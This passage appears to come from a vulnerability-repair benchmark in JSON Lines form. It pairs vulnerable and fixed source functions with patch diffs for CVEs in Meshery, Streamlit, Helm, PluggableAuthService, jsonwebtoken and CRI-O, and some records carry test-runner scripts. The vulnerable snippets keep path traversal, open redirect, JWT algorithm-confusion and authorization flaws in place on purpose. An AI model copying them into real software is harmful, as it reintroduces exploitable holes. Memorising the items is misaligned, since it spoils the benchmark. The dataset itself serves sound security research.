finder.Order(sortOn)\n\t} else {\n\t\tfinder = finder.Order(clause.OrderByColumn{Column: clause.Column{Name: sortOn}, Desc: true})\n\t}\n\n\tvar count int64\n\tfinder.Count(&count)\n\n\tif eventsFilter.Offset != 0 {\n\t\tfinder = finder.Offset(eventsFilter.Offset)\n\t}\n\n\tif eventsFilter.Limit != 0 {\n\t\tfinder = finder.Limit(eventsFilter.Limit)\n\t}\n\n\terr := finder.Scan(&eventsDB).Error\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcountBySeverity, err := e.getCountBySeverity(userID, eventsFilter.Status)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &EventsResponse{\n\t\tEvents:               eventsDB,\n\t\tPageSize:             eventsFilter.Limit,\n\t\tTotalCount:           count,\n\t\tCountBySeverityLevel: countBySeverity,\n\t}, nil\n}"}], "vul_patch": "--- a/mesheryctl/pkg/utils/helpers.go\n+++ b/mesheryctl/pkg/utils/helpers.go\n@@ -4,5 +4,8 @@\n \t\tclearCmd = exec.Command(\"cmd\", \"/c\", \"cls\") // for Windows\n \t}\n \tclearCmd.Stdout = os.Stdout\n-\t_ = clearCmd.Run()\n+\terr := clearCmd.Run()\n+\tif err != nil {\n+\t\tlog.Fatal(err)\n+\t}\n }\n\n--- a/server/handlers/meshsync_handler.go\n+++ b/server/handlers/meshsync_handler.go\n@@ -39,6 +39,7 @@\n \t\tresult = result.Offset(offset)\n \t}\n \n+\torder = models.SanitizeOrderInput(order, []string{\"created_at\", \"updated_at\", \"name\"})\n \tif order != \"\" {\n \t\tif sort == \"desc\" {\n \t\t\tresult = result.Order(clause.OrderByColumn{Column: clause.Column{Name: order}, Desc: true})\n\n--- a/server/models/events_persister.go\n+++ b/server/models/events_persister.go\n@@ -22,10 +22,11 @@\n \t\tfinder = finder.Where(\"status = ?\", eventsFilter.Status)\n \t}\n \n+\tsortOn := SanitizeOrderInput(eventsFilter.SortOn, []string{\"created_at\", \"updated_at\", \"name\"})\n \tif eventsFilter.Order == \"asc\" {\n-\t\tfinder = finder.Order(eventsFilter.SortOn)\n+\t\tfinder = finder.Order(sortOn)\n \t} else {\n-\t\tfinder = finder.Order(clause.OrderByColumn{Column: clause.Column{Name: eventsFilter.SortOn}, Desc: true})\n+\t\tfinder = finder.Order(clause.OrderByColumn{Column: clause.Column{Name: sortOn}, Desc: true})\n \t}\n \n \tvar count int64\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-42474", "cve_description": "Streamlit is a data oriented application development framework for python. Snowflake Streamlit open source addressed a security vulnerability via the static file sharing feature. Users of hosted Streamlit app(s) on Windows were vulnerable to a path traversal vulnerability when the static file sharing feature is enabled. An attacker could utilize the vulnerability to leak the password hash of the Windows user running Streamlit. The vulnerability was patched on Jul 25, 2024, as part of Streamlit open source version 1.37.0. The vulnerability only affects Windows.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/streamlit/streamlit", "patch_url": ["https://github.com/streamlit/streamlit/commit/3a639859cfdfba2187c81897d44a3e33825eb0a3"], "programing_language": "Python", "vul_func": [{"id": "vul_py_141_1", "commit": "40303e1", "file_path": "lib/streamlit/web/server/app_static_file_handler.py", "start_line": 37, "end_line": 67, "snippet": "class AppStaticFileHandler(tornado.web.StaticFileHandler):\n    def initialize(self, path: str, default_filename: str | None = None) -> None:\n        super().initialize(path, default_filename)\n        mimetypes.add_type(\"image/webp\", \".webp\")\n\n    def validate_absolute_path(self, root: str, absolute_path: str) -> str | None:\n        full_path = os.path.realpath(absolute_path)\n\n        if os.path.isdir(full_path):\n            # we don't want to serve directories, and serve only files\n            raise tornado.web.HTTPError(404)\n\n        if os.path.commonpath([full_path, root]) != root:\n            # Don't allow misbehaving clients to break out of the static files directory\n            _LOGGER.warning(\n                \"Serving files outside of the static directory is not supported\"\n            )\n            raise tornado.web.HTTPError(404)\n\n        if (\n            os.path.exists(full_path)\n            and os.path.getsize(full_path) > MAX_APP_STATIC_FILE_SIZE\n        ):\n            raise tornado.web.HTTPError(\n                404,\n                \"File is too large, its size should not exceed \"\n                f\"{MAX_APP_STATIC_FILE_SIZE} bytes\",\n                reason=\"File is too large\",\n            )\n\n        return super().validate_absolute_path(root, absolute_path)"}], "fix_func": [{"id": "fix_py_141_1", "commit": "3a63985", "file_path": "lib/streamlit/web/server/app_static_file_handler.py", "start_line": 37, "end_line": 69, "snippet": "class AppStaticFileHandler(tornado.web.StaticFileHandler):\n    def initialize(self, path: str, default_filename: str | None = None) -> None:\n        super().initialize(path, default_filename)\n        mimetypes.add_type(\"image/webp\", \".webp\")\n\n    def validate_absolute_path(self, root: str, absolute_path: str) -> str | None:\n        full_path = os.path.realpath(absolute_path)\n\n        ret_val = super().validate_absolute_path(root, absolute_path)\n\n        if os.path.isdir(full_path):\n            # we don't want to serve directories, and serve only files\n            raise tornado.web.HTTPError(404)\n\n        if os.path.commonpath([full_path, root]) != root:\n            # Don't allow misbehaving clients to break out of the static files directory\n            _LOGGER.warning(\n                \"Serving files outside of the static directory is not supported\"\n            )\n            raise tornado.web.HTTPError(404)\n\n        if (\n            os.path.exists(full_path)\n            and os.path.getsize(full_path) > MAX_APP_STATIC_FILE_SIZE\n        ):\n            raise tornado.web.HTTPError(\n                404,\n                \"File is too large, its size should not exceed \"\n                f\"{MAX_APP_STATIC_FILE_SIZE} bytes\",\n                reason=\"File is too large\",\n            )\n\n        return ret_val"}], "vul_patch": "--- a/lib/streamlit/web/server/app_static_file_handler.py\n+++ b/lib/streamlit/web/server/app_static_file_handler.py\n@@ -5,6 +5,8 @@\n \n     def validate_absolute_path(self, root: str, absolute_path: str) -> str | None:\n         full_path = os.path.realpath(absolute_path)\n+\n+        ret_val = super().validate_absolute_path(root, absolute_path)\n \n         if os.path.isdir(full_path):\n             # we don't want to serve directories, and serve only files\n@@ -28,4 +30,4 @@\n                 reason=\"File is too large\",\n             )\n \n-        return super().validate_absolute_path(root, absolute_path)\n+        return ret_val\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-21337", "cve_description": "Products.PluggableAuthService is a pluggable Zope authentication and authorization framework. In Products.PluggableAuthService before version 2.6.0 there is an open redirect vulnerability. A maliciously crafted link to the login form and login functionality could redirect the browser to a different website. The problem has been fixed in version 2.6.1. Depending on how you have installed Products.PluggableAuthService, you should change the buildout version pin to `2.6.1` and re-run the buildout, or if you used `pip` simply do `pip install \"Products.PluggableAuthService>=2.6.1\".", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/zopefoundation/Products.PluggableAuthService", "patch_url": ["https://github.com/zopefoundation/Products.PluggableAuthService/commit/7eead067898852ebd3e0f143bc51295928528dfa"], "programing_language": "Python", "vul_func": [{"id": "vul_py_368_1", "commit": "c49ddb0f2770cab57f76475f4571e8e842181b87", "file_path": "src/Products/PluggableAuthService/plugins/CookieAuthHelper.py", "start_line": 194, "end_line": 239, "snippet": "    def unauthorized(self):\n        req = self.REQUEST\n        resp = req['RESPONSE']\n\n        # If we set the auth cookie before, delete it now.\n        if self.cookie_name in resp.cookies:\n            del resp.cookies[self.cookie_name]\n\n        # Redirect if desired.\n        url = self.getLoginURL()\n        if url is not None:\n            came_from = req.get('came_from', None)\n\n            if came_from is None:\n                came_from = req.get('ACTUAL_URL', '')\n                query = req.get('QUERY_STRING')\n                if query:\n                    if not query.startswith('?'):\n                        query = '?' + query\n                    came_from = came_from + query\n            else:\n                # If came_from contains a value it means the user\n                # must be coming through here a second time\n                # Reasons could be typos when providing credentials\n                # or a redirect loop (see below)\n                req_url = req.get('ACTUAL_URL', '')\n\n                if req_url and req_url == url:\n                    # Oops... The login_form cannot be reached by the user -\n                    # it might be protected itself due to misconfiguration -\n                    # the only sane thing to do is to give up because we are\n                    # in an endless redirect loop.\n                    return 0\n\n            if '?' in url:\n                sep = '&'\n            else:\n                sep = '?'\n            url = '%s%scame_from=%s' % (url, sep, quote(came_from))\n            resp.redirect(url, lock=1)\n            resp.setHeader('Expires', 'Sat, 01 Jan 2000 00:00:00 GMT')\n            resp.setHeader('Cache-Control', 'no-cache')\n            return 1\n\n        # Could not challenge.\n        return 0"}], "fix_func": [{"id": "fix_py_368_1", "commit": "7eead067898852ebd3e0f143bc51295928528dfa", "file_path": "src/Products/PluggableAuthService/plugins/CookieAuthHelper.py", "start_line": 196, "end_line": 247, "snippet": "    def unauthorized(self):\n        req = self.REQUEST\n        resp = req['RESPONSE']\n\n        # If we set the auth cookie before, delete it now.\n        if self.cookie_name in resp.cookies:\n            del resp.cookies[self.cookie_name]\n\n        # Redirect if desired.\n        url = self.getLoginURL()\n        if url is not None:\n            came_from = req.get('came_from', None)\n\n            if came_from is None:\n                came_from = req.get('ACTUAL_URL', '')\n                query = req.get('QUERY_STRING')\n                if query:\n                    if not query.startswith('?'):\n                        query = '?' + query\n                    came_from = came_from + query\n            else:\n                # If came_from contains a value it means the user\n                # must be coming through here a second time\n                # Reasons could be typos when providing credentials\n                # or a redirect loop (see below)\n                req_url = req.get('ACTUAL_URL', '')\n\n                if req_url and req_url == url:\n                    # Oops... The login_form cannot be reached by the user -\n                    # it might be protected itself due to misconfiguration -\n                    # the only sane thing to do is to give up because we are\n                    # in an endless redirect loop.\n                    return 0\n\n            # Sanitize the return URL ``came_from`` and only allow local URLs\n            # to prevent an open exploitable redirect issue\n            if came_from:\n                parsed = urlparse(came_from)\n                came_from = urlunparse(('', '') + parsed[2:])\n\n            if '?' in url:\n                sep = '&'\n            else:\n                sep = '?'\n            url = '%s%scame_from=%s' % (url, sep, quote(came_from))\n            resp.redirect(url, lock=1)\n            resp.setHeader('Expires', 'Sat, 01 Jan 2000 00:00:00 GMT')\n            resp.setHeader('Cache-Control', 'no-cache')\n            return 1\n\n        # Could not challenge.\n        return 0"}], "vul_patch": "--- a/src/Products/PluggableAuthService/plugins/CookieAuthHelper.py\n+++ b/src/Products/PluggableAuthService/plugins/CookieAuthHelper.py\n@@ -32,6 +32,12 @@\n                     # in an endless redirect loop.\n                     return 0\n \n+            # Sanitize the return URL ``came_from`` and only allow local URLs\n+            # to prevent an open exploitable redirect issue\n+            if came_from:\n+                parsed = urlparse(came_from)\n+                came_from = urlunparse(('', '') + parsed[2:])\n+\n             if '?' in url:\n                 sep = '&'\n             else:\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-4053", "cve_description": "In Helm greater than or equal to 3.0.0 and less than 3.2.4, a path traversal attack is possible when installing Helm plugins from a tar archive over HTTP. It is possible for a malicious plugin author to inject a relative path into a plugin archive, and copy a file outside of the intended directory. This has been fixed in 3.2.4.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/helm/helm", "patch_url": ["https://github.com/helm/helm/commit/0ad800ef43d3b826f31a5ad8dfbb4fe05d143688", "https://github.com/helm/helm/commit/b6bbe4f08bbb98eadd6c9cd726b08a5c639908b3"], "programing_language": "Go", "vul_func": [{"id": "vul_go_36_1", "commit": "8f83204", "file_path": "pkg/plugin/installer/http_installer.go", "start_line": 154, "end_line": 198, "snippet": "func (g *TarGzExtractor) Extract(buffer *bytes.Buffer, targetDir string) error {\n\tuncompressedStream, err := gzip.NewReader(buffer)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := os.MkdirAll(targetDir, 0755); err != nil {\n\t\treturn err\n\t}\n\n\ttarReader := tar.NewReader(uncompressedStream)\n\tfor {\n\t\theader, err := tarReader.Next()\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tpath := filepath.Join(targetDir, header.Name)\n\n\t\tswitch header.Typeflag {\n\t\tcase tar.TypeDir:\n\t\t\tif err := os.Mkdir(path, 0755); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\tcase tar.TypeReg:\n\t\t\toutFile, err := os.OpenFile(path, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode))\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif _, err := io.Copy(outFile, tarReader); err != nil {\n\t\t\t\toutFile.Close()\n\t\t\t\treturn err\n\t\t\t}\n\t\t\toutFile.Close()\n\t\t// We don't want to process these extension header files.\n\t\tcase tar.TypeXGlobalHeader, tar.TypeXHeader:\n\t\t\tcontinue\n\t\tdefault:\n\t\t\treturn errors.Errorf(\"unknown type: %b in %s\", header.Typeflag, header.Name)\n\t\t}\n\t}\n\treturn nil"}], "fix_func": [{"id": "fix_go_36_1", "commit": "0ad800e", "file_path": "pkg/plugin/installer/http_installer.go", "start_line": 171, "end_line": 255, "snippet": "func cleanJoin(root, dest string) (string, error) {\n\n\t// On Windows, this is a drive separator. On UNIX-like, this is the path list separator.\n\t// In neither case do we want to trust a TAR that contains these.\n\tif strings.Contains(dest, \":\") {\n\t\treturn \"\", errors.New(\"path contains ':', which is illegal\")\n\t}\n\n\t// The Go tar library does not convert separators for us.\n\t// We assume here, as we do elsewhere, that `\\\\` means a Windows path.\n\tdest = strings.ReplaceAll(dest, \"\\\\\", \"/\")\n\n\t// We want to alert the user that something bad was attempted. Cleaning it\n\t// is not a good practice.\n\tfor _, part := range strings.Split(dest, \"/\") {\n\t\tif part == \"..\" {\n\t\t\treturn \"\", errors.New(\"path contains '..', which is illegal\")\n\t\t}\n\t}\n\n\t// If a path is absolute, the creator of the TAR is doing something shady.\n\tif path.IsAbs(dest) {\n\t\treturn \"\", errors.New(\"path is absolute, which is illegal\")\n\t}\n\n\t// SecureJoin will do some cleaning, as well as some rudimentary checking of symlinks.\n\tnewpath, err := securejoin.SecureJoin(root, dest)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn filepath.ToSlash(newpath), nil\n}\n\n// Extract extracts compressed archives\n//\n// Implements Extractor.\nfunc (g *TarGzExtractor) Extract(buffer *bytes.Buffer, targetDir string) error {\n\tuncompressedStream, err := gzip.NewReader(buffer)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := os.MkdirAll(targetDir, 0755); err != nil {\n\t\treturn err\n\t}\n\n\ttarReader := tar.NewReader(uncompressedStream)\n\tfor {\n\t\theader, err := tarReader.Next()\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tpath, err := cleanJoin(targetDir, header.Name)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tswitch header.Typeflag {\n\t\tcase tar.TypeDir:\n\t\t\tif err := os.Mkdir(path, 0755); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\tcase tar.TypeReg:\n\t\t\toutFile, err := os.OpenFile(path, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode))\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif _, err := io.Copy(outFile, tarReader); err != nil {\n\t\t\t\toutFile.Close()\n\t\t\t\treturn err\n\t\t\t}\n\t\t\toutFile.Close()\n\t\t// We don't want to process these extension header files.\n\t\tcase tar.TypeXGlobalHeader, tar.TypeXHeader:\n\t\t\tcontinue\n\t\tdefault:\n\t\t\treturn errors.Errorf(\"unknown type: %b in %s\", header.Typeflag, header.Name)\n\t\t}\n\t}\n\treturn nil"}], "vul_patch": "--- a/pkg/plugin/installer/http_installer.go\n+++ b/pkg/plugin/installer/http_installer.go\n@@ -1,3 +1,40 @@\n+func cleanJoin(root, dest string) (string, error) {\n+\n+\t// On Windows, this is a drive separator. On UNIX-like, this is the path list separator.\n+\t// In neither case do we want to trust a TAR that contains these.\n+\tif strings.Contains(dest, \":\") {\n+\t\treturn \"\", errors.New(\"path contains ':', which is illegal\")\n+\t}\n+\n+\t// The Go tar library does not convert separators for us.\n+\t// We assume here, as we do elsewhere, that `\\\\` means a Windows path.\n+\tdest = strings.ReplaceAll(dest, \"\\\\\", \"/\")\n+\n+\t// We want to alert the user that something bad was attempted. Cleaning it\n+\t// is not a good practice.\n+\tfor _, part := range strings.Split(dest, \"/\") {\n+\t\tif part == \"..\" {\n+\t\t\treturn \"\", errors.New(\"path contains '..', which is illegal\")\n+\t\t}\n+\t}\n+\n+\t// If a path is absolute, the creator of the TAR is doing something shady.\n+\tif path.IsAbs(dest) {\n+\t\treturn \"\", errors.New(\"path is absolute, which is illegal\")\n+\t}\n+\n+\t// SecureJoin will do some cleaning, as well as some rudimentary checking of symlinks.\n+\tnewpath, err := securejoin.SecureJoin(root, dest)\n+\tif err != nil {\n+\t\treturn \"\", err\n+\t}\n+\n+\treturn filepath.ToSlash(newpath), nil\n+}\n+\n+// Extract extracts compressed archives\n+//\n+// Implements Extractor.\n func (g *TarGzExtractor) Extract(buffer *bytes.Buffer, targetDir string) error {\n \tuncompressedStream, err := gzip.NewReader(buffer)\n \tif err != nil {\n@@ -18,7 +55,10 @@\n \t\t\treturn err\n \t\t}\n \n-\t\tpath := filepath.Join(targetDir, header.Name)\n+\t\tpath, err := cleanJoin(targetDir, header.Name)\n+\t\tif err != nil {\n+\t\t\treturn err\n+\t\t}\n \n \t\tswitch header.Typeflag {\n \t\tcase tar.TypeDir:\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-4053:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/helm\nrm -rf ./pkg/plugin/installer/http_installer_test.go\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestExtract$ helm.sh/helm/v3/pkg/plugin/installer\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-4053:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/helm\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(TestHTTPInstallerUpdate|TestHTTPInstaller|TestStripName|TestHTTPInstallerNonExistentVersion|TestExtract)$' helm.sh/helm/v3/pkg/plugin/installer"}
{"cve_id": "CVE-2015-9235", "cve_description": "In jsonwebtoken node module before 4.2.2 it is possible for an attacker to bypass verification when a token digitally signed with an asymmetric key (RS/ES family) of algorithms but instead the attacker send a token digitally signed with a symmetric algorithm (HS* family).", "cwe_info": {"CWE-327": {"name": "Use of a Broken or Risky Cryptographic Algorithm", "description": "The product uses a broken or risky cryptographic algorithm or protocol."}}, "repo": "https://github.com/auth0/node-jsonwebtoken", "patch_url": ["https://github.com/auth0/node-jsonwebtoken/commit/1bb584bc382295eeb7ee8c4452a673a77a68b687"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_94_1", "commit": "f9f3c34", "file_path": "index.js", "start_line": "72", "end_line": "152", "snippet": "module.exports.verify = function(jwtString, secretOrPublicKey, options, callback) {\n  if ((typeof options === 'function') && !callback) {\n    callback = options;\n    options = {};\n  }\n\n  if (!options) options = {};\n\n  var done;\n\n  if (callback) {\n    done = function() {\n      var args = Array.prototype.slice.call(arguments, 0);\n      return process.nextTick(function() {\n        callback.apply(null, args);\n      });\n    };\n  } else {\n    done = function(err, data) {\n      if (err) throw err;\n      return data;\n    };\n  }\n\n  if (!jwtString){\n    return done(new JsonWebTokenError('jwt must be provided'));\n  }\n\n  var parts = jwtString.split('.');\n\n  if (parts.length !== 3){\n    return done(new JsonWebTokenError('jwt malformed'));\n  }\n\n  if (parts[2].trim() === '' && secretOrPublicKey){\n    return done(new JsonWebTokenError('jwt signature is required'));\n  }\n\n  var valid;\n\n  try {\n    valid = jws.verify(jwtString, secretOrPublicKey);\n  } catch (e) {\n    return done(e);\n  }\n\n  if (!valid)\n    return done(new JsonWebTokenError('invalid signature'));\n\n  var payload;\n\n  try {\n    payload = this.decode(jwtString);\n  } catch(err) {\n    return done(err);\n  }\n\n  if (typeof payload.exp !== 'undefined' && !options.ignoreExpiration) {\n    if (typeof payload.exp !== 'number') {\n      return done(new JsonWebTokenError('invalid exp value'));\n    }\n    if (Math.floor(Date.now() / 1000) >= payload.exp)\n      return done(new TokenExpiredError('jwt expired', new Date(payload.exp * 1000)));\n  }\n\n  if (options.audience) {\n    var audiences = Array.isArray(options.audience)? options.audience : [options.audience];\n    var target = Array.isArray(payload.aud) ? payload.aud : [payload.aud];\n\n    var match = target.some(function(aud) { return audiences.indexOf(aud) != -1; });\n\n    if (!match)\n      return done(new JsonWebTokenError('jwt audience invalid. expected: ' + audiences.join(' or ')));\n  }\n\n  if (options.issuer) {\n    if (payload.iss !== options.issuer)\n      return done(new JsonWebTokenError('jwt issuer invalid. expected: ' + options.issuer));\n  }\n\n  return done(null, payload);"}], "fix_func": [{"id": "fix_js_94_1", "commit": "1bb584b", "file_path": "index.js", "start_line": "72", "end_line": "163", "snippet": "module.exports.verify = function(jwtString, secretOrPublicKey, options, callback) {\n  if ((typeof options === 'function') && !callback) {\n    callback = options;\n    options = {};\n  }\n\n  if (!options) options = {};\n\n  var done;\n\n  if (callback) {\n    done = function() {\n      var args = Array.prototype.slice.call(arguments, 0);\n      return process.nextTick(function() {\n        callback.apply(null, args);\n      });\n    };\n  } else {\n    done = function(err, data) {\n      if (err) throw err;\n      return data;\n    };\n  }\n\n  if (!jwtString){\n    return done(new JsonWebTokenError('jwt must be provided'));\n  }\n\n  var parts = jwtString.split('.');\n\n  if (parts.length !== 3){\n    return done(new JsonWebTokenError('jwt malformed'));\n  }\n\n  if (parts[2].trim() === '' && secretOrPublicKey){\n    return done(new JsonWebTokenError('jwt signature is required'));\n  }\n\n  if (!options.algorithms) {\n    options.algorithms = ~secretOrPublicKey.toString().indexOf('BEGIN CERTIFICATE') ?\n                        [ 'RS256','RS384','RS512','ES256','ES384','ES512' ] :\n                        [ 'HS256','HS384','HS512' ];\n  }\n\n  var valid;\n\n  try {\n    valid = jws.verify(jwtString, secretOrPublicKey);\n  } catch (e) {\n    return done(e);\n  }\n\n  if (!valid)\n    return done(new JsonWebTokenError('invalid signature'));\n\n  var payload;\n\n  try {\n    payload = this.decode(jwtString);\n  } catch(err) {\n    return done(err);\n  }\n\n  var header = jws.decode(jwtString).header;\n  if (!~options.algorithms.indexOf(header.alg)) {\n    return done(new JsonWebTokenError('invalid signature'));\n  }\n\n  if (typeof payload.exp !== 'undefined' && !options.ignoreExpiration) {\n    if (typeof payload.exp !== 'number') {\n      return done(new JsonWebTokenError('invalid exp value'));\n    }\n    if (Math.floor(Date.now() / 1000) >= payload.exp)\n      return done(new TokenExpiredError('jwt expired', new Date(payload.exp * 1000)));\n  }\n\n  if (options.audience) {\n    var audiences = Array.isArray(options.audience)? options.audience : [options.audience];\n    var target = Array.isArray(payload.aud) ? payload.aud : [payload.aud];\n\n    var match = target.some(function(aud) { return audiences.indexOf(aud) != -1; });\n\n    if (!match)\n      return done(new JsonWebTokenError('jwt audience invalid. expected: ' + audiences.join(' or ')));\n  }\n\n  if (options.issuer) {\n    if (payload.iss !== options.issuer)\n      return done(new JsonWebTokenError('jwt issuer invalid. expected: ' + options.issuer));\n  }\n\n  return done(null, payload);"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -36,6 +36,12 @@\n     return done(new JsonWebTokenError('jwt signature is required'));\n   }\n \n+  if (!options.algorithms) {\n+    options.algorithms = ~secretOrPublicKey.toString().indexOf('BEGIN CERTIFICATE') ?\n+                        [ 'RS256','RS384','RS512','ES256','ES384','ES512' ] :\n+                        [ 'HS256','HS384','HS512' ];\n+  }\n+\n   var valid;\n \n   try {\n@@ -53,6 +59,11 @@\n     payload = this.decode(jwtString);\n   } catch(err) {\n     return done(err);\n+  }\n+\n+  var header = jws.decode(jwtString).header;\n+  if (!~options.algorithms.indexOf(header.alg)) {\n+    return done(new JsonWebTokenError('invalid signature'));\n   }\n \n   if (typeof payload.exp !== 'undefined' && !options.ignoreExpiration) {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-8676", "cve_description": "A vulnerability was found in CRI-O, where it can be requested to take a checkpoint archive of a container and later be asked to restore it. When it does that restoration, it attempts to restore the mounts from the restore archive instead of the pod request. As a result, the validations run on the pod spec, verifying that the pod has access to the mounts it specifies are not applicable to a restored container. This flaw allows a malicious user to trick CRI-O into restoring a pod that doesn't have access to host mounts. The user needs access to the kubelet or cri-o socket to call the restore endpoint and trigger the restore.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/cri-o/cri-o", "patch_url": ["https://github.com/cri-o/cri-o/commit/e8e7dcb7838d11b5157976bf3e31a5840bb77de7"], "programing_language": "Go", "vul_func": [{"id": "vul_go_161_1", "commit": "be3a1aa", "file_path": "server/container_restore.go", "start_line": 54, "end_line": 426, "snippet": "func (s *Server) CRImportCheckpoint(\n\tctx context.Context,\n\tcreateConfig *types.ContainerConfig,\n\tsb *sandbox.Sandbox, sandboxUID string,\n) (ctrID string, retErr error) {\n\tvar mountPoint string\n\n\t// Ensure that the image to restore the checkpoint from has been provided.\n\tif createConfig.Image == nil || createConfig.Image.Image == \"\" {\n\t\treturn \"\", errors.New(`attribute \"image\" missing from container definition`)\n\t}\n\n\tinputImage := createConfig.Image.Image\n\tcreateMounts := createConfig.Mounts\n\tcreateAnnotations := createConfig.Annotations\n\tcreateLabels := createConfig.Labels\n\n\trestoreStorageImageID, err := s.checkIfCheckpointOCIImage(ctx, inputImage)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tvar restoreArchivePath string\n\tif restoreStorageImageID != nil {\n\t\tsystemCtx, err := s.contextForNamespace(sb.Metadata().Namespace)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"get context for namespace: %w\", err)\n\t\t}\n\t\t// WARNING: This hard-codes an assumption that SignaturePolicyPath set specifically for the namespace is never less restrictive\n\t\t// than the default system-wide policy, i.e. that if an image is successfully pulled, it always conforms to the system-wide policy.\n\t\tif systemCtx.SignaturePolicyPath != \"\" {\n\t\t\treturn \"\", fmt.Errorf(\"namespaced signature policy %s defined for pods in namespace %s; signature validation is not supported for container restore\", systemCtx.SignaturePolicyPath, sb.Metadata().Namespace)\n\t\t}\n\n\t\tlog.Debugf(ctx, \"Restoring from oci image %s\", inputImage)\n\n\t\t// This is not out-of-process, but it is at least out of the CRI-O codebase; containers/storage uses raw strings.\n\t\tmountPoint, err = s.ContainerServer.StorageImageServer().GetStore().MountImage(restoreStorageImageID.IDStringForOutOfProcessConsumptionOnly(), nil, \"\")\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\n\t\tlog.Debugf(ctx, \"Checkpoint image %s mounted at %v\\n\", restoreStorageImageID, mountPoint)\n\n\t\tdefer func() {\n\t\t\t// This is not out-of-process, but it is at least out of the CRI-O codebase; containers/storage uses raw strings.\n\t\t\tif _, err := s.ContainerServer.StorageImageServer().GetStore().UnmountImage(restoreStorageImageID.IDStringForOutOfProcessConsumptionOnly(), true); err != nil {\n\t\t\t\tlog.Errorf(ctx, \"Could not unmount checkpoint image %s: %q\", restoreStorageImageID, err)\n\t\t\t}\n\t\t}()\n\t} else {\n\t\t// First get the container definition from the\n\t\t// tarball to a temporary directory\n\t\tarchiveFile, err := os.Open(inputImage)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"failed to open checkpoint archive %s for import: %w\", inputImage, err)\n\t\t}\n\t\tdefer func(f *os.File) {\n\t\t\tif err := f.Close(); err != nil {\n\t\t\t\tlog.Errorf(ctx, \"Unable to close file %s: %q\", f.Name(), err)\n\t\t\t}\n\t\t}(archiveFile)\n\n\t\trestoreArchivePath = inputImage\n\t\toptions := &archive.TarOptions{\n\t\t\t// Here we only need the files config.dump and spec.dump\n\t\t\tExcludePatterns: []string{\n\t\t\t\t\"artifacts\",\n\t\t\t\t\"ctr.log\",\n\t\t\t\tmetadata.RootFsDiffTar,\n\t\t\t\tmetadata.NetworkStatusFile,\n\t\t\t\tmetadata.DeletedFilesFile,\n\t\t\t\tmetadata.CheckpointDirectory,\n\t\t\t},\n\t\t}\n\t\tmountPoint, err = os.MkdirTemp(\"\", \"checkpoint\")\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tdefer func() {\n\t\t\tif err := os.RemoveAll(mountPoint); err != nil {\n\t\t\t\tlog.Errorf(ctx, \"Could not recursively remove %s: %q\", mountPoint, err)\n\t\t\t}\n\t\t}()\n\t\terr = archive.Untar(archiveFile, mountPoint, options)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"unpacking of checkpoint archive %s failed: %w\", mountPoint, err)\n\t\t}\n\t\tlog.Debugf(ctx, \"Unpacked checkpoint in %s\", 